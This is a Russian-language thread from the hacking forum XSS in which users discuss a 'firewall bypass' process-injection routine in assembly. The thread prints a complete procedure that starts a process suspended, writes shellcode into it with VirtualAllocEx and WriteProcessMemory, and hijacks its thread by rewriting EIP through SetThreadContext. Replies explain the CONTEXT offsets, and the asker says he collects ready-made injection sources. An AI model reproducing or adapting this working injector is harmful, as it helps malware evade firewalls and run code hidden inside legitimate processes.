• XSS.stack #1 – первый литературный журнал от юзеров форума

FWB инжект на masm

typedef struct _IMAGE_BASE_RELOCATION {
UINT32 VirtualAddress;
UINT32 SizeOfBlock;
} IMAGE_BASE_RELOCATION, *PIMAGE_BASE_RELOCATION;
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Подскажите по инжекту, не могу понять последние несколько строк, что в них происходит и откуда берутся данные.

неясен вот этот момент
Код:
 sub     esp,0x0300
  mov     ebx,esp
  mov     dword [ebx],0x00010007
      
  invoke    GetThreadContext,[p_inf.hThread],ebx
      
  pushd     esi
  popd     [ebx+0xB8]
      
  invoke    SetThreadContext,[p_inf.hThread],ebx
  add     esp,0x0300
Я примерно понимаю механизм, что суспендится поток, и регистр eip в нем перезаписывается на путь к нашему шеллкоду. Но неясно, откуда взялись эти цифры? Что значит 0x0300, 0xB8 и так далее?


Весь код (выкладывал где-то greenzy):
Код:
proc InjectCode dwEIP,dwCodeSize
   locals
  shit        dd ?
  p_inf     PROCESS_INFORMATION
  s_inf     STARTUPINFO
   endl
  pusha
  xor     esi,esi
      
  lea     edi,[s_inf]
  mov     ecx,sizeof.STARTUPINFO
  xor     eax,eax
  rep     stosb
      
  lea     eax,[szProga]
  lea     ecx,[p_inf]
  lea     edx,[s_inf]
      
  mov     [s_inf.wShowWindow],1
      
  invoke    CreateProcess,esi,eax,esi,esi,esi,4,esi,esi,edx,ecx
  test     eax,eax
  je     .exit

  invoke    VirtualAllocEx,[p_inf.hProcess],esi,[dwCodeSize],0x1000,0x40
  test     eax,eax
  je     .exit
  xchg     eax,esi
      
  lea     eax,[shit]
  invoke    WriteProcessMemory,[p_inf.hProcess],esi,[dwEIP],[dwCodeSize],eax
      
  sub     esp,0x0300
  mov     ebx,esp
  mov     dword [ebx],0x00010007
      
  invoke    GetThreadContext,[p_inf.hThread],ebx
      
  pushd     esi
  popd     [ebx+0xB8]
      
  invoke    SetThreadContext,[p_inf.hThread],ebx
  add     esp,0x0300
  test     eax,eax
  je     .exit
      
  invoke    ResumeThread,[p_inf.hThread]

   .exit:     
  popa      
  ret
 endp
 
смотри в хидерах описание структуры CONTEXT http://msdn.microsoft.com/en-us/library/wi...4(v=vs.85).aspx

mov dword [ebx],0x00010007
это флаг CONTEXT_FULL = 0x00010007


popd [ebx+0xB8]
это скорее всего eip, т.к. esi указывает на шелкод в памяти
 
Пожалуйста, обратите внимание, что пользователь заблокирован
el-
Спасибо, действительно в коде почему-то нет строковых констант, одни цифры. Хз зачем это нужно - разве что в фасме они не объявлены. Или в этом есть какой-то смысл для шеллкода?

и последнее
Код:
sub     esp,0x0300
как я понимаю, это выделяется память под структуру context? Т.е. чтобы не создавать локальную переменную кодом,выделяется память в стеке, в ebx идет указатель на память, а потом стек уравнивается, когда в структуре отпадает нужда.
Код:
add     esp,0x0300
или я неправильно понял?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
TrashGen
Да вот, по форумам собираю. А где взять вменяемые примеры тех же инжектов? И что плохого в этом кодесе?
Я не могу написать инжект по статье, мне нужны сорцы, наглядный пример как кто делает.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Apocalypse
А если объявить структуру как локальную переменную, тогда толк будет? Т.е.
Код:
local abc:CONTEXT
или там тоже надо дописать align 4 ?
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх